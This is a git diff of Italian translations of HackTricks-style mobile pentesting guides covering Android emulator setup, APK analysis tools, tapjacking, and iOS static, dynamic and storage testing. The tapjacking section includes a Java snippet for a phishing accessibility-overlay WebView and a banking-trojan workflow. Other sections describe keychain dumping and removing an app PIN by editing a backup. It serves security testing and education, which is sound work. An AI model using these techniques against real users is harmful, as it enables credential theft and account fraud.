Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -735,7 +739,7 @@ APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica mo
### Manuale
[Leggi questo tutorial per imparare alcuni trucchi su **come fare reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
## Laboratori

20
src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
View File

@ -56,14 +56,17 @@ Una volta che l'immagine è scaricata, seleziona semplicemente **`Avanti`** e **
La macchina virtuale sarà creata. Ora **ogni volta che accedi all'AVD manager sarà presente**.
### Esegui la Macchina Virtuale
### Eseguire la Macchina Virtuale
Per **eseguirla** basta premere il _**Pulsante di Avvio**_.
Per **eseguirla** basta premere il _**Pulsante Start**_.
![](<../../images/image (518).png>)
## Strumento da Riga di Comando
> [!WARNING]
> Per macOS puoi trovare lo strumento `avdmanager` in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e l'`emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` se li hai installati.
Prima di tutto devi **decidere quale telefono vuoi usare**, per vedere l'elenco dei telefoni possibili esegui:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -97,7 +100,7 @@ Puoi elencare tutte le opzioni utilizzando `sdkmanager`:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
E **scarica** quello (o tutti) che vuoi utilizzare con:
E **scarica** quello (o tutti) che vuoi usare con:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
@ -121,7 +124,7 @@ In questo momento hai deciso il dispositivo che vuoi utilizzare e hai scaricato
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
Nel comando finale **ho creato una VM chiamata** "_AVD9_" utilizzando il **dispositivo** "_Nexus 5X_" e l'**immagine Android** "_system-images;android-28;google_apis;x86_64_".\
Nell'ultimo comando **ho creato una VM chiamata** "_AVD9_" utilizzando il **dispositivo** "_Nexus 5X_" e l'**immagine Android** "_system-images;android-28;google_apis;x86_64_".\
Ora puoi **elencare le macchine virtuali** che hai creato con:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device
```
### Esegui Macchina Virtuale
> [!WARNING]
> Per macOS puoi trovare lo strumento `avdmanager` in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e l'`emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` se li hai installati.
Abbiamo già visto come puoi elencare le macchine virtuali create, ma **puoi anche elencarle usando**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
@ -167,6 +173,8 @@ Tuttavia ci sono **molte opzioni utili della riga di comando** che puoi utilizza
- `-dns-server 192.0.2.0, 192.0.2.255` : Consente di indicare separati da virgola i server DNS per la VM.
- **`-http-proxy 192.168.1.12:8080`** : Consente di indicare un proxy HTTP da utilizzare (molto utile per catturare il traffico usando Burp)
- Se le impostazioni del proxy non funzionano per qualche motivo, prova a configurarle internamente o utilizzando un'applicazione come "Super Proxy" o "ProxyDroid".
- `-netdelay 200` : Imposta l'emulazione della latenza di rete in millisecondi.
- `-port 5556` : Imposta il numero di porta TCP utilizzato per la console e adb.
- `-ports 5556,5559` : Imposta le porte TCP utilizzate per la console e adb.
- **`-tcpdump /path/dumpfile.cap`** : Cattura tutto il traffico in un file
@ -185,7 +193,7 @@ Se hai scaricato un dispositivo con Play Store non sarai in grado di ottenere ro
$ adb root
adbd cannot run as root in production builds
```
Utilizzando [rootAVD](https://github.com/newbit1/rootAVD) con [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito a fare il root (segui ad esempio [**questo video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**questo**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Usando [rootAVD](https://github.com/newbit1/rootAVD) con [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito a fare il root (segui per esempio [**questo video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**questo**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Installa il Certificato Burp
@ -199,7 +207,7 @@ install-burp-certificate.md
### Fai uno Snapshot
Puoi **utilizzare l'interfaccia grafica** per fare uno snapshot della VM in qualsiasi momento:
Puoi **usare l'interfaccia grafica** per fare uno snapshot della VM in qualsiasi momento:
![](<../../images/image (234).png>)

10
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## **Informazioni di base**
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
@ -46,7 +45,7 @@ Segui le **istruzioni del README per utilizzarla**.
### FloatingWindowApp
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna nella costruzione dell'apk).
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna a costruire l'apk).
### Qark
@ -70,7 +69,7 @@ Oltre al classico Tapjacking, le moderne famiglie di malware bancario Android (a
### Come funziona
1. L'APK malevolo richiede il permesso altamente sensibile `BIND_ACCESSIBILITY_SERVICE`, solitamente nascondendo la richiesta dietro un falso dialogo di Google/Chrome/visualizzatore PDF.
2. Una volta che l'utente abilita il servizio, il malware simula programmaticamente i tocchi necessari per concedere ulteriori permessi pericolosi (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività di sfondo (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività in background (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
```java
WebView phishingView = new WebView(getApplicationContext());
phishingView.getSettings().setJavaScriptEnabled(true);
@ -89,7 +88,7 @@ wm.addView(phishingView, lp);
### Flusso di lavoro tipico utilizzato dai Trojan bancari
* Interrogare i pacchetti installati (`QUERY_ALL_PACKAGES`) per capire quale app bancaria / portafoglio è attualmente aperta.
* Scaricare un **modello di sovrapposizione HTML/JS** dal C2 che imita perfettamente quella specifica applicazione (Logo, colori, stringhe i18n…).
* Visualizzare la sovrapposizione, raccogliere credenziali/PIN/pattern.
* Visualizzare la sovrapposizione, raccogliere credenziali/PIN/modello.
* Utilizzare l'**API di Accessibilità** (`performGlobalAction`, `GestureDescription`) per automatizzare i trasferimenti in background.
### Rilevamento e mitigazione
@ -103,11 +102,12 @@ wm.addView(phishingView, lp);
Per ulteriori dettagli su come sfruttare i Servizi di Accessibilità per il controllo remoto completo del dispositivo (ad es. PlayPraetor, SpyNote, ecc.) vedere:
{{#ref}}
accessibility-services-abuse.md
{{#endref}}
## Riferimenti
* [Bitsight – ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
* [Bitsight – Studio sul malware bancario Android ToxicPanda 2025](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
{{#include ../../banners/hacktricks-training.md}}

91
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -4,6 +4,7 @@
## iOS Basics
{{#ref}}
ios-basics.md
{{#endref}}
@ -12,6 +13,7 @@ ios-basics.md
In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori** e **jailbreaking:**
{{#ref}}
ios-testing-environment.md
{{#endref}}
@ -20,7 +22,8 @@ ios-testing-environment.md
### Basic iOS Testing Operations
Durante il testing **verranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire nessuna di queste azioni, per favore, **inizia a leggere la pagina**:
Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, per favore, **inizia a leggere la pagina**:
{{#ref}}
basic-ios-testing-operations.md
@ -28,7 +31,7 @@ basic-ios-testing-operations.md
> [!TIP]
> Per i passaggi successivi **l'app dovrebbe essere installata** nel dispositivo e dovrebbe aver già ottenuto il **file IPA** dell'applicazione.\
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per sapere come fare.
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per imparare come fare.
### Basic Static Analysis
@ -59,7 +62,7 @@ otool -I -v <app-binary> | grep stack_chk # Dovrebbe includere i simboli: stac
otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release
```
- **Encrypted Binary**: Il binario dovrebbe essere crittografato
- **Binary Crittografato**: Il binario dovrebbe essere crittografato
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
@ -67,7 +70,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e
**Identificazione di Funzioni Sensibili/Insecure**
- **Weak Hashing Algorithms**
- **Algoritmi di Hashing Deboli**
```bash
# Sul dispositivo iOS
@ -79,7 +82,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
- **Insecure Random Functions**
- **Funzioni Random Insecure**
```bash
# Sul dispositivo iOS
@ -93,7 +96,7 @@ grep -iER "_srand"
grep -iER "_rand"
```
- **Insecure ‘Malloc’ Function**
- **Funzione ‘Malloc’ Insecure**
```bash
# Sul dispositivo iOS
@ -103,7 +106,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc"
```
- **Insecure and Vulnerable Functions**
- **Funzioni Insecure e Vulnerabili**
```bash
# Sul dispositivo iOS
@ -135,7 +138,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse viste e interagire con esse, ma si occuperà di collegare diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse visualizzazioni e interagire con esse, ma collegherà diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
### Listing Installed Apps
@ -154,7 +157,8 @@ PID Name Identifier
```
### Basic Enumeration & Hooking
Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi e classi** con objection:
Impara come **enumerare i componenti dell'applicazione** e come **hookare facilmente metodi e classi** con objection:
{{#ref}}
ios-hooking-with-objection.md
@ -162,7 +166,7 @@ ios-hooking-with-objection.md
### IPA Structure
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
- **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione.
- **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
@ -172,7 +176,7 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
- **Security**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre la sua dimensione complessiva.
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
- **Frameworks and PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
@ -182,7 +186,7 @@ Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata senza sforzo utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
- **For macOS**:
- **Per macOS**:
```bash
$ plutil -convert xml1 Info.plist
```
@ -191,7 +195,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto delle App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
```bash
$ grep -i <keyword> Info.plist
```
@ -202,9 +206,9 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
> [!WARNING]
> Poiché le applicazioni in iOS devono essere sandboxed, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con **`CFBundleIdentifier`** dell'app come nome della cartella.
>
> Tuttavia, entrambe le cartelle (cartelle dei dati e dei contenitori) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`.
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo **strumento objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -230,7 +234,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
- Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**.
- Il contenuto in questa directory **non è sottoposto a backup**.
- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**.
- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**.
**Directory dei dati:**
@ -248,7 +252,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Il contenuto in questa directory **non è sottoposto a backup**.
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
- **Library/Application Support/**
- Contiene **file** **persistenti** necessari per l'esecuzione dell'app.
- Contiene **file** **persistenti** necessari per eseguire l'app.
- **Invisibile** **agli** **utenti** e gli utenti non possono scriverci.
- Il contenuto in questa directory è **sottoposto** **a** **backup**.
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
@ -263,7 +267,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Il contenuto in questa directory non è sottoposto a backup.
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione di iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -315,7 +319,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
Per stampare il **segmento Objective-C** dell'applicazione di esempio si può usare:
Per stampare il **segmento Objective-C** dell'applicazione di esempio, si può usare:
```bash
otool -oV DVIA-v2
DVIA-v2:
@ -357,7 +361,7 @@ double _field2;
```
Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
## Archiviazione Dati
## Archiviazione dei Dati
Per saperne di più su come iOS memorizza i dati nel dispositivo, leggi questa pagina:
@ -366,12 +370,12 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essersi disconnessi da un utente e aver effettuato l'accesso a un altro**.\
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e accedere a un altro**.\
> L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi.
### Plist
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensivamente per vedere se nuovi dati vengono scritti.
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se nuovi dati vengono scritti.
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
@ -479,7 +483,7 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) è descritto come un motore di database **leggero** e **integrato** che segue l'approccio **orientato ai documenti** (NoSQL). Progettato per essere nativo su **iOS** e **macOS**, offre la possibilità di sincronizzare i dati senza problemi.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) è descritto come un motore di database **leggero** e **integrato** che segue l'approccio **orientato ai documenti** (NoSQL). Progettato per essere nativo su **iOS** e **macOS**, offre la possibilità di sincronizzare i dati senza soluzione di continuità.
Per identificare potenziali database Couchbase su un dispositivo, la seguente directory dovrebbe essere ispezionata:
```bash
@ -510,7 +514,7 @@ Per ispezionare il file dei cookie puoi usare [**questo script python**](https:/
Per impostazione predefinita, NSURLSession memorizza i dati, come **richieste e risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate nella cache, apri la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e vai a `/Library/Caches/<Bundle Identifier>`. La **cache di WebKit è anche memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché è un **normale database SQLite**.
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbe contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
1. È consigliato rimuovere le risposte memorizzate nella cache dopo il logout. Questo può essere fatto con il metodo fornito da Apple chiamato [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puoi chiamare questo metodo come segue:
@ -572,7 +576,7 @@ Questo imposta l'immagine di sfondo su `overlayImage.png` ogni volta che l'appli
Per accedere e gestire il keychain iOS, sono disponibili strumenti come [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), adatti per dispositivi jailbroken. Inoltre, [**Objection**](https://github.com/sensepost/objection) fornisce il comando `ios keychain dump` per scopi simili.
#### **Memorizzazione delle Credenziali**
#### **Storing Credentials**
La classe **NSURLCredential** è ideale per salvare informazioni sensibili direttamente nel keychain, bypassando la necessità di NSUserDefaults o altri wrapper. Per memorizzare le credenziali dopo il login, viene utilizzato il seguente codice Swift:
```swift
@ -625,10 +629,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console
1. Apri Xcode.
2. Collega il dispositivo iOS.
3. Naviga su **Finestra** -> **Dispositivi e simulatori**.
3. Naviga su **Finestra** -> **Dispositivi e Simulatori**.
4. Seleziona il tuo dispositivo.
5. Attiva il problema che stai investigando.
6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra.
6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
```bash
@ -644,15 +648,15 @@ Le **funzionalità di auto-backup** sono integrate in iOS, facilitando la creazi
L'inclusione di **app installate e dei loro dati** nei backup solleva la questione della potenziale **perdita di dati** e il rischio che **le modifiche ai backup possano alterare la funzionalità delle app**. Si consiglia di **non memorizzare informazioni sensibili in testo semplice** all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi.
### Esclusione di File dai Backup
### Escludere File dai Backup
I file in `Documents/` e `Library/Application Support/` vengono salvati nei backup per impostazione predefinita. Gli sviluppatori possono escludere file o directory specifici dai backup utilizzando `NSURL setResourceValue:forKey:error:` con il `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'essere inclusi nei backup.
### Testare le Vulnerabilità
### Testare per Vulnerabilità
Per valutare la sicurezza del backup di un'app, inizia con il **creare un backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Per valutare la sicurezza del backup di un'app, inizia creando un **backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -665,11 +669,11 @@ Le informazioni sensibili possono essere cercate utilizzando strumenti da riga d
...
</plist>
```
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno di backup protetti da password.
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
### Modificare il Comportamento dell'App
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato in `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si elimina il requisito del PIN, fornendo accesso illimitato.
Un esempio di modifica del comportamento dell'app attraverso modifiche ai backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato in `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
## Riepilogo sul Test della Memoria per Dati Sensibili
@ -708,13 +712,13 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
### Use of Insecure and/or Deprecated Algorithms
Gli sviluppatori non dovrebbero utilizzare **deprecated algorithms** per eseguire **checks** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hashes** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati **hashes** resistenti al brute-force con sale.
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
### Check
I principali controlli da eseguire sono per verificare se puoi trovare **hardcoded** password/segreti nel codice, o se sono **predictable**, e se il codice sta utilizzando qualche tipo di algoritmi di **weak** **cryptography**.
I principali controlli da eseguire sono per verificare se puoi trovare password/segreti **hardcoded** nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
È interessante sapere che puoi **monitor** alcune **crypto** **libraries** automaticamente utilizzando **objection** con:
È interessante sapere che puoi **monitorare** alcune **librerie** **crypto** automaticamente utilizzando **objection** con:
```swift
ios monitor crypt
```
@ -732,7 +736,7 @@ Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:
- **`Security.framework`** per l'accesso ai servizi di keychain di basso livello, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al keychain.
> [!CAUTION]
> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (riferirsi a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
